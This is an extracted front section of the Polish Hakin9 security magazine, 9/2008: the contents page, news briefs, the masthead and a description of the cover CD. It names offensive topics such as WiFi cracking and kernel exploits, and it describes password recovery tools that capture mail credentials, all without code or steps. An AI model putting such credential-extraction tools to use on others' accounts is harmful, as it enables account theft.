Hakin9 40 (09 2008) PL

background image
background image
background image
background image

SPIS TREŚCI

4

HAKIN9 9/2008

SPIS TREŚCI

5

HAKIN9

9/2008

5

HAKIN9 5

HAKIN9 5

HAKIN9

NARZĘDZIA

12

GDATA TotalCare

Recenzja najnowszego oprogramowania GDATA.

13

e-Token – Pro

Recenzja karty kryptograficznej do przechowywania kluczy dostępowych
do systemu operacyjnego, bankowości elektronicznej oraz ochrony
elektronicznych aplikacji biznesowych.

14

eScan

Program do ochrony komputera przed wirusami.

POCZĄTKI

16

Łamanie WIFI

RAFAŁ LYSIK

Tutorialowy artykuł opisującu jak krok po kroku złamać WIFI. W
dzisiejszym świecie ludzie używają różnorodnych mediów do
porozumiewania się ze sobą. Media te mają różne właściwości, co
wpływa na zastosowanie w określonym środowisku danego sposobu
komunikacji. W XXI wieku najważniejsza jest informacja, a właściwie
szybkość jej przepływu. Kto posiada aktualne informacje, ten może
wpływać na otaczający Świat.

22 Administracja kontami w Linux

BARTOSZ KAMIŃSKI, SŁAWOMIR ORŁOWSKI

Często praca administratora systemu bywa żmudna i nieprzyjemna,
dlaczego zatem sobie jej nie uprościć? Poniższy artykuł powinien
nieco pomóc w tym zadaniu. Autorzy w swoim artykule pokazują jak
wykorzystać język Perl w pracy administratora oraz jak rozwiązywać
podstawowe problemy z zarządzaniem kontami użytkowników

ATAK

32 Atak na Smart Cards

GRZEGORZ BŁOŃSKI

Codziennie używamy inteligentnych kart, myślimy że nasze pieniądze
i dane zakodowane na kartach są bezpieczne, ale czy na pewno?
Dowiedz się jakie zagrożenia na nas czekają i jak można zaatakować
inteligentna kartę? Z artykułu dowiesz się co to jest karta inteligentna i
jak jest atakowana

38 Błędy w jądrach systemów

PRZEMYSŁAW SKOWRON

Błędy w programach to problem danej aplikacji. Uchybienia w
kernelu mają zasięg globalny, ograniczony oczywiście możliwościami
wykorzystania go. Jeżeli jądro naszego systemu zawiera błąd,
możemy spodziewać się sporych problemów, a większość
zabezpieczeń może okazać się bezużyteczna. Z artykułu dowiesz się
jak działa exploit i jak skutecznie utrudnić lub uniemożliwić atak na
kernel.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.

Dyrektor wydawniczy: Sylwia Małecka

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP: Grzegorz Laskowski

Okładka: Agnieszka Marchocka, Łukasz Pabian

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska

pren@software.com.pl

Wyróżnieni betatesterzy:

Tomasz Przybylski, Tomasz Stanisławski

Opracowanie CD: Rafał Kwaśny

Druk: 101 Studio, Firma Tęgi

Nakład wersji polskiej 6 000 egz.

Wydawca:

Software–Wydawnictwo Sp. z o.o.

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Redakcja dokłada wszelkich starań, by publikowane w piśmie

i na towarzyszących mu nośnikach informacje i programy

były poprawne, jednakże nie bierze odpowiedzialności za

efekty wykorzystania ich; nie gwarantuje także poprawnego

działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością

odpowiednich firm i zostały użyte wyłącznie w celach

informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano

programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja używa systemu

automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma

w cenie innej niż wydrukowana na okładce – bez zgody

wydawcy – jest działaniem na jego szkodę i skutkuje

odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach:

Hiszpanii, Argentynie, Portugalii, Francji, Belgii,

Luksemburgu, Kanadzie, Maroko, Niemczech,

Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową

w innych krajach europejskich.

Magazyn hakin9 wydawany jest

w 4 wersjach językowych:

PL

EN

FR

DE

UWAGA!

Techniki prezentowane w artykułach mogą być

używane jedynie we własnych sieciach lokalnych.

Redakcja nie ponosi odpowiedzialności za

niewłaściwe użycie prezentowanych technik

ani spowodowaną tym utratę danych.

background image

SPIS TREŚCI

4

HAKIN9 9/2008

SPIS TREŚCI

5

HAKIN9

9/2008

5

HAKIN9 5

HAKIN9 5

HAKIN9

OBRONA

42 Ochrona kart inteligentnych

PRZEMYSŁAW ŻARNECKI

Inteligentne karty nie są na tyle bezpieczne jak nam wszystkim się wydaje.
Poznajmy ich budowę i sprawdźmy jakie rodzaje zabezpieczeń stosują ich
producenci. Dowiedz się jak są łamane i zabezpieczane dane na smart cards.

52 Zarządzanie tożsamością

ARTUR ŻARSKI

Zarządzanie tożsamością jest bardzo szerokim pojęciem, które posiada wiele
definicji. Definicje te można sprowadzić do stwierdzenia, które mówi, że jest
to zestaw technologii i procedur umożliwiający efektywne zarządzanie cyklem
życia tożsamości użytkownika.

56 Hashlimit

JAROSŁAW RADZISZEWSKI

W zapomnienie już odeszły czasy, gdy zapora sieciowa była po prostu filtrem
portów, obecnie już nie wystarcza, że administrator otwiera lub zamyka
konkretny port. W dzisiejszych czasach ataki stały się tak wyspecjalizowane,
iż należy brać pod uwagę szereg innych aspektów ruchu sieciowego. W tym
artykule zajmiemy się kontrolą ilości przesyłanych pakietów.

60 Automatyczne generowanie exploitów

CEZARY G. CEREKWICKI

Dowiedz się jakie są efekty uboczne poprawek krytycznego błędu
bezpieczeństwa i uważaj bo atak na niezaktualizowaną instalację jest
banalnie prosty!

BEZPIECZNA FIRMA

66 Śledztwo elektroniczne

PIOTR FAJ

Liczba zagrożeń pochodzących z sieci Internet, które mogłyby wpłynąć
negatywnie na wizerunek firmy, z roku na rok się powiększa. Warto również
zauważyć, że ślady po takich zdarzeniach mają wspólną cechę – nie
wiadomo, kto i jak to zrobił.

KLUB TECHNICZNY

72 Be Smart, Buy Smart

Przełączniki z serii ProSafe Smart stanowią alternatywę dla w pełni
zarządzanych, klasycznych przełączników warstwy 2. Przełączniki te
pozbawione zbytniej złożoności dostarczają Klientowi funkcje typowe, dla
przełączników zarządzanych, a dzięki temu pozbawione są dodatkowego
kosztu. Artykuł napisany przez pracownika firmy Netgear.

STAŁE

RUBRYKI

6 W skrócie

Przedstawiamy garść najciekawszych
wiadomości ze świata bezpieczeństwa
systemów informatycznych i nie tylko.

10 Zawartość CD

Prezentujemy zawartość płyty hakin9

74 Księgozbiór

Recenzujemy książki Analiza ryzyka
i Ochrona informacji systemów
komputerowych
oraz Biometria.
Tajemnica – Atak – Obrona

76 Wywiad

Wywiad z Klausem von Kries.

78 Felieton

Ataki na serwisy społecznosciowe.
Patryk Krawaczyński
W poprzednim felietonie został
poruszony temat ataków, które
wynikają z użytkowania serwisów
społecznościowych opartych na
idei Web 2.0. Przedstawiony temat
został omówiony ze strony serwisu
jako nieświadomego agresora
wykonującego za pomocą swoich
użytkowników przeróżnego rodzaju
ataki.

82 Zapowiedzi

Zapowiedzi artykułów, które znajdą się w
następnym wydaniu magazynu hakin9

Sprostowanie

Redakcja hakin9 przeprasza za umieszczenie w numerze 6/2008 artykułu
pod tytułem Techniki spamowania, zawierającego obszerne nieautoryzowane
fragmenty tekstów autorstwa Tomasza Andrzeja Nideckiego i Michała Ławickiego.

background image

6

W SKRÓCIE

HAKIN9 9/2008

7

JAKUB BUCZYŃSKI

HAKIN9

9/2008

KONIEC PROBLEMÓW Z IPHONEM

Początkowo iPhone był dostępny
wyłącznie w Stanach Zjednoczonych
i jedynie w sieci AT&T. Jednak po
miesiącach prób hakerom udało się
zdjąć blokadę z telefonu, dzięki czemu
mogli z niego korzystać użytkownicy na
całym świecie.

iPhony szybko zostały rozprowadzone

z USA na cały świat, a specjaliści obliczyli,
że około 1/3 do połowy zakupionych
urządzeń nigdy nie połączyło się z siecią
AT&T.

Nowy, ulepszony iPhone współpracuje z

sieciami 3G. iPhone będzie teraz oferowany
na nieco innych zasadach. Po pierwsze,
urządzenie będzie oficjalnie dostępne
w większej liczbie krajów – na początku,
oprócz Stanów Zjednoczonych, telefon
pojawi się w pięciu innych państwach. Pod
koniec tego roku multimedialne urządzenie
firmy Apple oferowane będzie już w 70
krajach.

Producent postanowił także, iż telefon

będzie można nabyć zarówno u operatora
telekomunikacyjnego, jak i u samego
źródła. Przykładowo 8-gigabajtowy model
nowej wersji tego urządzenia kosztuje w
USA 199 dolarów.

LUKA
W OPROGRAMOWANIU SCADA

Specjaliści ds. bezpieczeństwa
poinformowali o znalezieniu krytycznej
luki w szeroko stosowanym w przemyśle
oprogramowaniu CitectSCADA.
Jak twierdzą sami specjaliści,
błąd ten pozwala atakującemu na
przejęcie kontroli nad systemem.
Luka w CitectSCADA to typowy błąd

przepełnienia bufora – poinformował Ivan
Arce z Core Security Technologies, firmy,
która odkryła lukę.

Ten typ oprogramowania staje się

coraz bardziej otwarty i szerzej dostępny.
Sieci kontrolne coraz częściej połączone
są z sieciami korporacyjnymi, które z kolei
komunikują się z Internetem
– ostrzega
Arce. W wypowiedzi Arce przypomina
też, że oprogramowanie SCADA, które
kontroluje procesy przemysłowe: pracę
rurociągów, fabryk chemicznych, linii
montażowych oraz sieci wysokiego
napięcia, może być celem ataków
cyberprzestępców.

ZŁODZIEJ ZDRADZONY
PRZEZ KARTĘ PAMIĘCI

Dzięki sieci bezprzewodowej i karcie
pamięci policja ujęła dwóch złodziei,
którzy kradli aparaty fotograficzne.
Pewna właścicielka cyfrówki z włożoną
kartą Eye-Fi SD pozostawiła ją
przypadkowo w restauracji. Dwóch
pracowników lokalu postanowiło ją sobie
zawłaszczyć.

Nieostrożni rabusie postanowili

zrobić sobie zdjęcia. Karta Eye-Fi
bezprzewodowo transmituje zdjęcia do
komputera, a niektóre modele potrafią
do tego wykorzystać Internet. Kiedy nowi
posiadacze sprzętu przechodzili koło
jednego z hot-spotów, karta wysłała
zdjęcia złodziei do komputera właścicielki.
Ta rozpoznała barmanów z restauracji i
powiadomiła kierownictwo lokalu. Dzięki
sprytnej karcie odzyskała aparat, a
barmani stracili pracę.

ATAK NA USŁUGODAWCĘ INTERNETU

Belgacom – największy belgijski
dostarczyciel usług internetowych
– przyznał, że na początku tego
roku doszło do włamania i kradzieży
danych osobowych ok. dwóch tysięcy
osób, klientów usługi ADSL. Jak się

okazało, była to... zemsta klientów
usługi. Firma odkryła na jednej ze
stron internetowych opublikowane
dane osobowe swoich subskrybentów,
a autorami tego wyczynu okazali się
hakerzy, niezadowoleni z ustalonych
limitów szerokopasmowego dostępu do
Sieci. W Belgii ok. 90% stacjonarnych
użytkowników Internetu korzysta z niego
bądź poprzez Belgacom, bądź Telnet.
Mimo, że połączenia są szybkie, to
obaj operatorzy nałożyli miesięczny
limit pobierania danych na poziomie
12 GB. Po przekroczeniu tej wielkości
transfer spada do 3 KB/s. Belgacom nie
informował o przełamaniu zabezpieczeń,
aby uniknąć paniki
– tłumaczy rzecznik
firmy, Jan Margot. Po zauważeniu
włamania natychmiast wyłączyliśmy
naszą stronę
– wyjaśnia dalej.
Wysyłaliśmy do zainteresowanych listy z
prośbą o zmianę haseł.

Mamy milion użytkowników ADSL,

więc włamanie nie stanowiło wielkiego
zagrożenia
– dodaje.

PROBLEMY AMAZON.COM

W piątek, 6 czerwca miłośnicy
internetowych zakupów mieli kłopoty
z odwiedzeniem witryny Amazon.com
– problemy powtórzyły się w poniedziałek.
Jak podała firma Keynote Systems, w
godzinach pomiędzy 19:03 a 19:23
naszego czasu jedynie około 30 procent
odwiedzających serwis miało do niego
dostęp. Po okresie pewnej stabilizacji
w godzinach 19:56 – 20:09 doszło do
ponownego kryzysu
– informuje Shaw
White z Keynote.

Szczęściarze, którym udało się wejść

na stronę, mówią o bardzo powolnym
ładowaniu jej zawartości, trwającym
nawet do 15 sekund. Serwis opublikował

background image

6

W SKRÓCIE

HAKIN9 9/2008

7

JAKUB BUCZYŃSKI

HAKIN9

9/2008

oficjalny komunikat w tej sprawie: Grupa
klientów zgłosiła w poniedziałek okresowe
problemy związane ze stronami Amazon.
Pracujemy obecnie nad ich rozwiązaniem,
zapewniamy także, iż usługi sieciowe
Amazona nie doznały uszczerbku
. Po
trzygodzinnym okresie piątkowej awarii
oraz poniedziałkowych problemach
większość osób nie mogła odczytać
zawartości strony, otrzymując komunikat
Http/1.1 Service Unavailable.

Jak podejrzewa White, problem leży

w złej konfiguracji któregoś z elementów
skomplikowanego systemu e-commerce
Amazona.

EUROPA W NIEBEZPIECZEŃSTWIE

Jak wynika z badań firmy Ipsos,
realizowanych dla AVG Technologies,
jeden na pięć europejskich komputerów
padł ofiarą cyberprzestępców. Wyniki
raportu stwierdzają, że zaatakowanych
zostało ok. 22 procent z siedmiu tysięcy
analizowanych komputerów. Najbardziej
zagrożeni byli mieszkańcy Włoch (32
procent), na drugim miejscu uplasowali
się Brytyjczycy (31 procent). Z badań
wynika także, że Europejczycy woleliby
paść ofiarą cyberprzestępców (34 procent)
niż włamania (22 procent), napaści (19
procent) i napadu rabunkowego (25
procent).

W przeciągu kilku lat natura zagrożeń

zmieniła się ze sportowej do w pełni
profesjonalnej aktywności przestępców

– uważa J. R. Smith, prezes AVG
Technologies. Brak granic w świecie
wirtualnym sprawia, iż naszym najwyższym
priorytetem jest stworzenie rozwiązań
zapewniających bezpieczne dokonywanie
transakcji online
– dodaje.

KASPERSKY PROSI O POMOC

Naukowcy z firmy Kaspersky proszą
specjalistów zajmujących się problemami
bezpieczeństwa o pomoc w złamaniu
skomplikowanego klucza, wymaganego
do odszyfrowania zablokowanych przez
robaka danych.

Prośba o pomoc pojawiła się w

Sieci dwa dni po odkryciu szyfratora
plików zwanego Gpcode. Malware
potrafi szyfrować różnego rodzaju pliki,
fotografie czy zbiory wykorzystywane

przez takie aplikacje, jak: MS Word, Excel
bądź Adobe Reader. Chcąc odzyskać
zaszyfrowane dane, musimy zapłacić
cyberprzestępcom okup. Kiedy dwa lata
temu Gpcode pojawił się po raz pierwszy,
firma Kaspersky poradziła sobie z
robakiem. Wtedy podczas tworzenia 660-
bitowego klucza RSA przestępcy popełnili
kilka pomyłek, co ułatwiło rozszyfrowanie
algorytmu. Tym razem jednak
kryptologowie nie będą mieli tak łatwego
zadania – nowa wersja wykorzystuje
1024-bitowy klucz. Zatem próby złamania
go metodą brute force będą wymagać
udziału około 15 milionów nowoczesnych
komputerów.

Nie potrzebujemy oczywiście takiej

mocy komputerowej – informuje Kaspersky
w swoim apelu. W tej sprawie musimy
współpracować i wspólnie wykorzystać
naszą wiedzę i zasoby w rozwiązaniu
problemu
– dodaje firma.

SPOSÓB NA ROBAKI

Naukowcy opracowali nową metodę
zwalczania robaków skanujących sieć w
poszukiwaniu komputerów podatnych na
atak – jedne z najpopularniejszych to Code
Red i SQL Slammer.

Ness Shroff oraz jego koledzy ze

Stanowego Uniwersytetu Ohio uważają,
iż opracowali sposób na blokowanie
rozprzestrzeniania się robaków. Jednym
z głównych tego typu zagrożeń był Code
Red. W 2001 roku, blokując ruch w Sieci,
spowodował szkody w wysokości 2,6
miliarda dolarów. Metoda przedstawiona
przez Amerykanów polega na stworzeniu
oprogramowania, które monitoruje
liczbę operacji skanowania Sieci
przeprowadzonych przez komputer. Gdy
maszyna zacznie zbyt aktywnie skanować
Sieć, jest to znak, iż prawdopodobnie

doszło do zakażenia robakiem. Trudność
sprawiało nam określenie, jaką liczbę
operacji skanowania można uznać za
podejrzaną. Należy dobrać ją w taki
sposób, aby w najgorszym przypadku
doszło do jak najmniejszej liczby infekcji.
Jeśli liczbę tę jeszcze zmniejszymy,
możemy zakłócić standardowy ruch

– wyjaśnia Shroff.

Naukowcy stworzyli w tym celu

matematyczny model wczesnego
stadium rozwoju sieci robaka, który
umożliwił obliczenie prawdopodobieństwa
pojawienia się mechanizmu jego
rozprzestrzeniania.

ŁATANIE VMWARE

Firma VMware opublikowała
aktualizacje swojego oprogramowania
wirtualizacyjnego z poprawkami
bezpieczeństwa. Występujące
luki pozwalały atakującemu na
uruchomienie złośliwego kodu na
zainfekowanej maszynie z systemem
Windows. Jeden z błędów dotyczy
funkcji VMCI, która jest odpowiedzialna
za komunikację pomiędzy maszyną
wirtualną a systemem operacyjnym.
Wyżej wymieniony błąd można
wykorzystać uruchamiając złośliwy
kod z uprawnieniami systemu. VMware
zaznacza, że luka tyczy się wyłącznie
systemu Windows.

Luka dotyczy oprogramowania VMware

Workstation w wersji od 6.0.4 build 93057,
VMware Player do wersji 2.0.4 build 93057
oraz VMware ACE do wersji 2.0.2 build
93057.

SERWERY W PŁOMIENIACH

Do zdarzenia doszło w sobotę, 14
czerwca, w centrum danych H1
należącym do firmy The Planet w
Houston.

Pożar spowodował wstrzymanie

pracy tysięcy stron internetowych – podał
magazyn The Register. Na forum firmy
hostingowej można przeczytać, że
winnym pożaru był wadliwie pracujący
transformator. Na szczęście nie doszło
do spalenia serwerów oraz sprzętu
sieciowego. Firma została jednak
zmuszona do wyłączenia wszystkich
generatorów zasilających komputery,

background image

8

W SKRÓCIE

HAKIN9 9/2008

9

JAKUB BUCZYŃSKI

HAKIN9

9/2008

co spowodowało czasową przerwę w
działaniu usług hostingowych.

Na szczęście w poniedziałek The Planet

przywróciło do pracy 6000 serwerów.

WSPÓŁPRACA EUROPY

Komisja Europejska przyjęła projekt, dzięki
któremu policja będzie miała wgląd do
akt osobowych przestępców w różnych
krajach Europy.

System o nazwie European Criminal

Records Information ma zawierać
specyfikację techniczną, dzięki której policja
będzie w stanie w prosty sposób uzyskać
dane od podobnych sił prowadzących
działalność w innych krajach.

Dane o przestępcach

przechowywane będą wyłącznie w
narodowych systemach bazodanowych,
a nie w swego rodzaju europejskiej
wielkiej bazie danych. Tworzenie
oprogramowania do tego celu
rozpocznie się na początku przyszłego
roku. Opisywany system ten ułatwi
sprawdzenie przeszłości osób, które
podejrzewa się o dokonanie na terenie
Europy przestępstw.

Pozwoli również na sprawniejszą

walkę ze zorganizowanymi grupami
przestępczymi, które coraz częściej
prowadzą swoje interesy nie tylko w
obrębie jednego kraju.

CHIŃCZYCY
ATAKOWALI ELEKTROWNIE?

O ataki, które doprowadziły do awarii sieci
elektrycznych w Stanach Zjednoczonych
w ciągu kilku ostatnich lat, obwinia się
chińskich hakerów. Dwie awarie (na
Florydzie oraz na północnym wschodzie
kraju) to po części sprawka chińskich
specjalistów – uważają eksperci ds.
bezpieczeństwa.

Informacje te pochodzą z magazynu

National Journal Magazine, który cytuje
wypowiedź Tima Bennetta, byłego
dyrektora Cyber Security Industry Alliance.

Już w 2003 roku otrzymał on od

amerykańskiego wywiadu informacje
o planach chińskiej armii, która
przygotowywała atak na systemy
kontrolujące amerykańskie elektrownie
nuklearne.

Joel Brenner z kontrwywiadu przyznaje

z kolei, że opisany w National Journal
Magazine scenariusz jest możliwy, choć
mało prawdopodobny.

SKŁAD REPREZENTACJI
POLSKI NA IMAGINE CUP 2008

Microsoft ogłosił oficjalną listę
drużyn i uczestników, którzy w lipcu
br. będą reprezentować Polskę w
międzynarodowych finałach konkursu
technologicznego dla studentów – Imagine
Cup 2008.

W tegorocznej edycji Polacy

zakwalifikowali się do rozgrywki finałowej w
czterech kategoriach:

• w kategorii Projektowanie Systemów

Wbudowanych Polskę reprezentować
będzie drużyna Aero@PUT z
Politechniki Poznańskiej,

• w kategorii Algorytm z przeciwnikami

zmierzy się Radosław Czyż z
Politechniki Krakowskiej,

• w specjalnej podkategorii

Projektowanie Oprogramowania
– Nagroda za Interoperacyjność
nasz
kraj będzie reprezentować zespół
Together z Politechniki Poznańskiej,

• w kategorii Projektowanie

Oprogramowania do rozgrywki
stanie zespół Demoscene Spirit z
Uniwersytetu Adama Mickiewicza
w Poznaniu, wyłoniony podczas
krajowego finału, zorganizowanego
przez Microsoft Polska wspólnie
z Instytutem Wzornictwa
Przemysłowego.

Drużyna Demoscene Spirit, w składzie:
Agata Czapracka, Szymon Majewski,
Łukasz Michniewicz i Wiktoria Szydło
z Uniwersytetu Adama Mickiewicza
w Poznaniu oraz Agata Majewska z
Akademii Sztuk Pięknych w Poznaniu,
zaprezentowała aplikację o nazwie
LifeTracker, która umożliwia śledzenie w
czasie rzeczywistym zwierząt należących

do gatunków zagrożonych wyginięciem.
Praca powstawała pod kierunkiem
mgr Tomasza Gdali. Było to najlepsze
rozwiązanie w kategorii Projektowanie
Oprogramowania
.

W kategorii Projektowanie

Systemów Wbudowanych Polskę będzie
reprezentować w Paryżu drużyna
Aero@PUT z Politechniki Poznańskiej
w składzie: Piotr Kryger, Mikołaj
Małaczyński, Piotr Ślęzak oraz Jakub
Pawłowski.

Kierownikiem grupy jest mgr Wojciech

Świtała. Together, w składzie: Dariusz
Walczak, Marcin Wrzos, Piotr Sikora
oraz Tomasz Nowak, to zespół, który
zaprezentował najlepsze rozwiązanie w
specjalnej podkategorii Projektowanie
Oprogramowania – Nagroda za
Interoperacyjność
.

Grupa z Politechniki Poznańskiej

pracowała pod kierunkiem dr inż. Jacka
Jelonka. W czwartej kategorii, Algorytm,
nasz kraj będzie reprezentować
Radosław Czyż z Politechniki
Krakowskiej.

Konkurs Imagine Cup jest

największym międzynarodowym
konkursem technologicznym dla
studentów.

W tym roku jest organizowany po raz

szósty. Uczestnicy rywalizują ze sobą w 9
kategoriach:

• projektowanie oprogramowania,
• projektowanie systemów wbudowanych,
• projektowanie gier,
• projekt Hoshimi – bitwa

programistyczna,

• technologie informatyczne,
• algorytmy,
• fotografia,
• film krótkometrażowy
• oraz Projekt interfejsu.

background image

8

W SKRÓCIE

HAKIN9 9/2008

9

JAKUB BUCZYŃSKI

HAKIN9

9/2008

NIE KORZYSTAJCIE Z SAFARI!

Z takim apelem do użytkowników systemu
Windows zwrócił się Microsoft. Firma
wzywa do deinstalacji przeglądarki
internetowej Safari aż do momentu
pojawienia się poprawki łatającej luki.
Microsoft Security Response Center
(MSRC) opublikowało komunikat
bezpieczeństwa, ostrzegający przed
kombinacją błędów, jakie pojawiły się w
przeglądarce Safari oraz mechanizmie
obsługi plików wykonywalnych
znajdujących się na pulpicie systemu
Windows XP lub Vista.

Microsoft bada zgłoszenia dotyczące

wieloskładnikowego zagrożenia
pozwalającego na zdalne wykonanie
kodu w systemach operacyjnych Windows
XP i Windows Vista z zainstalowaną
przeglądarką internetową Apple Safari

– można przeczytać w komunikacie.

HACK COMCAST

Cyberprzestępcy włamali się na
stronę internetową amerykańskiej
firmy telekomunikacyjnej Comcast,
pozostawiając na niej własne informacje
oraz uniemożliwili niektórym klientom
uzyskanie dostępu do swoich kont
pocztowych oraz oficjalnych forów.

Z informacji, które hakerzy umieścili

na stronie, można wywnioskować, że
włamania dokonały trzy grupy: Kryogenics,
Defiant oraz EBK. Grupy te przejęły
kontrolę nad domeną Comcast.net
poprzez zarządzającą serwerami DNS
firmę Network Solutions, przekierowując
ruch internetowy na kontrolowane
przez nich maszyny. Były to komputery
znajdujące się m.in. w Niemczech.

Właściwy serwis został odcięty od

świata na kilka godzin – teraz pracuje już
normalnie, choć niektórzy użytkownicy
w dalszym ciągu zgłaszali problemy z
pocztą (nie doszło jeszcze do pełnej
propagacji adresu).

Rzecznik firmy Comcast ujawnił,

że firma współpracuje w tej sprawie z
przedstawicielami prawa.

5 LAT ZA NIELEGALNY SYSTEM?

Do tej pory Policja, zajmując
się zwalczaniem pirackiego

oprogramowania komputerowego,
skupiała się głównie na producentach i
handlarzach.

Zwykli użytkownicy mogli czuć się

bezpiecznie – do czasu, kiedy policja w
Braniewie złożyła wizytę w mieszkaniu
siedemnastolatka – Patryka L.

Według policjantów od pewnego

już czasu używał on nielegalnego
oprogramowania komputerowego.
Policjanci zabezpieczyli komputer oraz
płytę z nielegalnym Windowsem i jego
najnowszą wersją – Windows Vista.
Patrykowi L. grozi kara do 5 lat pozbawienia
wolności.

DZIURY W QUICKTIME

Ostatnimi czasy można było przeczytać o
kilku błędach związanych z odtwarzaczem
QuickTime. Niestety, w produkcie
Apple po raz kolejny wykryto szereg
nieprawidłowości, które pozwalają na
przejęcie kontroli nad zaatakowanym
komputerem.

Problemy te występują podczas

przetwarzania odpowiednio
spreparowanych plików z rozszerzeniem
.aac oraz .pict. Kolejny błąd jest związany
z plikami kodowanymi za pomocą kodeka
Indeo.

Wykorzystując lukę można doprowadzić

do błędu przepełnienia bufora i w
konsekwencji na wykonanie szkodliwego
kodu.

Wszystkie błędy uważane są za

krytyczne, należy zatem jak najszybciej
dokonać aktualizacji.

LUKA W SYSTEMIE SYMBIAN S60

Haker z Hiszpanii znalazł lukę w
systemie operacyjnym Symbian (w wersji
S60). Błąd znaleziony przez Hiszpana

pozwala na uzyskanie dostępu do
wszystkich plików znajdujących się w
telefonie.
Aby mieć dostęp do plików
przechowywanych w telefonie, wystarczy
zainstalować odpowiednią aplikację
w formacie SISX. Narzędzie zmienia
uprawnienia wszystkich aplikacji.

ROZSZERZENIE KAR ZA
PRZESTĘPSTWA KOMPUTEROWE

W Sejmie odbyło się pierwsze czytanie
projektu nowelizacji Kodeksu Karnego,
który implementuje w polskim systemie
prawnym unijne regulacje m.in. w
zakresie przestępczości komputerowej
i korupcji.

W projekcie nowelizacji Kodeksu

Karnego uwzględniono kary
m.in. za włamania także do sieci
bezprzewodowych. Zmiana ta związana
jest z rozwojem sieci informatycznych.

Sankcjom będą podlegać nie

tylko ci, którzy złamią zabezpieczenia
informatyczne, ale także ci, którzy jedynie
omijają różnego rodzaju zabezpieczenia.
Uznano bowiem, że dostęp do systemów
informatycznych można uzyskać nie
tylko łamiąc np. hasła, ale wykorzystując
luki w systemie operacyjnym,
które pozwalają obejść techniczne
zabezpieczenia.

Zmiana przepisów oznacza, że

karze będą podlegały osoby, które np.
posługują się tzw. końmi trojańskimi.
Nowelizacja przewiduje kary także
za jakiekolwiek nieuprawnione
uzyskanie dostępu do czyjegoś sytemu
informatycznego.

Skuteczność ścigania przestępstw

komputerowych jest bardzo istotna.
Jednak zastanawiam się, czy
doprecyzowanie przepisów w taki
kazuistyczny sposób jest zasadne.
Przede wszystkim poszkodowany może
nawet nie wiedzieć, że ktoś ominął jego
zabezpieczenia i ma dostęp do informacji
w jego komputerze. Natomiast ściganie
takich przestępstw ma odbywać się
właśnie na wniosek pokrzywdzonego

mówi dr Monika Zbrojewska, specjalista z
zakresu prawa karnego na Uniwersytecie
Łódzkim.

background image

10

NA CD

HAKIN9 9/2008

11

HAKIN9

9/2008

Na dołączonej do pisma płycie znajdują się programy przydatne dla każdego

użytkownika komputera – 3 pełne wersje bez ograniczeń czasowych, 1 trial i ponad

godzina filmów instruktażowych.

ZAWARTOŚĆ CD

PROGRAMY

• Advanced Instant Messengers

Password Recovery,

• Advanced Mailbox Password Recovery,
• Advanced ACT Password Recovery,
• eScan Antivirus.

FILMY INSTRUKTAŻOWE

• Ponad 60 minut filmów instruktażowych,

10 odcinków, które przedstawiają
najpopularniejsze ataki na strony www.

ADVANCED INSTANT MESSENGERS

PASSWORD RECOVERY

Odzyskiwanie haseł
w znanych komunikatorach

Advanced Instant Messengers Password
Recovery natychmiastowo odzyskuje
informacje dotyczące loginu i hasła,
chroniących konta użytkowników w
różnych komunikatorach. Obecnie
program obsługuje ponad 70 różnych
komunikatorów. Advanced Instant
Messengers Password Recovery jest
niewątpliwie najbardziej uniwersalnym

produktem w swojej klasie. Jeżeli system
posiada jedno lub więcej kont, Advanced
Instant Messengers Password Recovery
odzyskuje wszystkie hasła.

Natychmiastowy transfer kont IM

Niektóre z współczesnych komunikatorów,
jak na przykład ICQ w wersji 6 i kolejnych,
Yahoo!
IM od wersji 7.5 oraz wszystkie
wersje Skype’a, nie przechowują
nigdzie informacji dotyczących hasła.
Wykonują natomiast jednokierunkowe
szyfrowanie hasła, tworząc kod hash,
który jest wykorzystywany do autoryzacji
użytkowników na serwerach IM.

Zamiast długich ataków na hasła,

Advanced Instant Messengers Password
Recovery daje możliwość ich zapisania
i odzyskania, pozwalając skutecznie
przenosić konta IM i ustawienia z jednego
komputera na drugi bez znajomości
oryginalnego hasła.

ADVANCED MAILBOX PASSWORD

RECOVERY

Odzyskiwanie haseł
do kont pocztowych i profili

Advanced Mailbox Password Recovery
natychmiastowo odzyskuje lokalnie
przechowywane informacje dotyczące
loginów i haseł chroniących konta i
profile, obsługując wiele popularnych
klientów poczty. Przy pomocy
załączonego emulatora serwera POP3/
IMAP program Advanced Mailbox

Password Recovery odzyskuje hasła do
kont POP3 i IMAP wszystkich istniejących
klientów poczty.
Właściwości i korzyści:

• odzyskuje hasła różnych klientów

poczty,

• odzyskuje hasła do wszystkich kont,
• odzyskuje hasła protokołu wysłania

(SMTP) i otrzymywania (POP3/IMAP),

• odzyskuje hasła do profilu i hasła

administratora,

• odzyskuje hasła POP3/IMAP wszystkich

klientów poczty z emulatorem serwera
POP3/IMAP,

• odzyskuje hasła odinstalowanych

klientów poczty,

• odzyskuje zawierające błędy bazy

danych e-mail i instalacje,

• całkowita automatyzacja operacji

pozwala na wyświetlenie wszystkich
haseł naraz,

• zawierające błędy bazy danych

i klienci poczty są obsługiwane
ręcznie.

background image

10

NA CD

HAKIN9 9/2008

11

HAKIN9

9/2008

Uniwersalna kompatybilność

Advanced Mailbox Password Recovery
może odzyskać informacje dotyczące
loginu i hasła do kont POP3 i IMAP od
jakiegokolwiek klienta poczty. Załączony
emulator serwera POP3/IMAP przejmuje
informacje dotyczące loginu i hasła
wysłane na serwer poczty.

Klienci mobilni

Zapomniane hasła POP3 lub IMAP klienta
mobilnego, takiego jak telefon komórkowy
